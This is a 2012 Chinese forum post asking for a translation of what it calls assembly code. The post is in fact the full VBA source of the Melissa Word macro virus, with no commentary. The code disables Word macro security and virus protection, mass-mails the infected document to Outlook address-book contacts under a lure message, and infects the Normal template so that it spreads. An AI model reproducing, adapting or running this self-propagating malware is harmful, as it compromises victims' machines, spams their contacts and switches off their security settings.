跪求翻译一段汇编代码

lyfm · 发表于 2012-3-10 21:12:24

Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
　　 CommandBars("Macro").Controls("Security...").Enabled = False
　　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
　　 CommandBars("Tools").Controls("Macro").Enabled = False
　　 Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
　　 If UngaDasOutlook = "Outlook" Then
　　　　 DasMapiName.Logon "profile", "password"
　　　　 For y = 1 To DasMapiName.AddressLists.Count
　　　　　　　 Set AddyBook = DasMapiName.AddressLists(y)
　　　　　　　 x = 1
　　　　　　　 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
　　　　　　　 For oo = 1 To AddyBook.AddressEntries.Count
　　　　　　　　　 Peep = AddyBook.AddressEntries(x)
　　　　　　　　　 BreakUmOffASlice.Recipients.Add Peep
　　　　　　　　　 x = x + 1
　　　　　　　　　 If x > 50 Then oo = AddyBook.AddressEntries.Count
　　　　　　　 Next oo
　　　　　　　 BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
　　　　　　　 BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
　　　　　　　 BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
　　　　　　　 BreakUmOffASlice.Send
　　　　　　　 Peep = ""
　　　　 Next y
　　　　 DasMapiName.Logoff
　　 End If
　　 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
　　 If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
　　 Set ToInfect = ADI1
　　 ADI1.Name = "Melissa"
　　 DoAD = True
End If
If NTI1.Name <> "Melissa" Then
　　 If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
　　 Set ToInfect = NTI1
　　 NTI1.Name = "Melissa"
　　 DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
　　 If DoNT = True Then
　　　　 Do While ADI1.CodeModule.Lines(1, 1) = ""
　　　　　　　 ADI1.CodeModule.DeleteLines 1
　　　　 Loop
　　　　 ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
　　　　 Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
　　　　　　　 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
　　　　　　　 BGN = BGN + 1
　　　　 Loop
　　 End If
If DoAD = True Then
　　 Do While NTI1.CodeModule.Lines(1, 1) = ""
　　　　　 NTI1.CodeModule.DeleteLines 1
　　 Loop
　　 ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
　　 Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
　　　　　 ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
　　　　　 BGN = BGN + 1
　　 Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
　　 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
　　 ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then
　　 Selection.TypeText " Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game's over. I'm outta here."
End Sub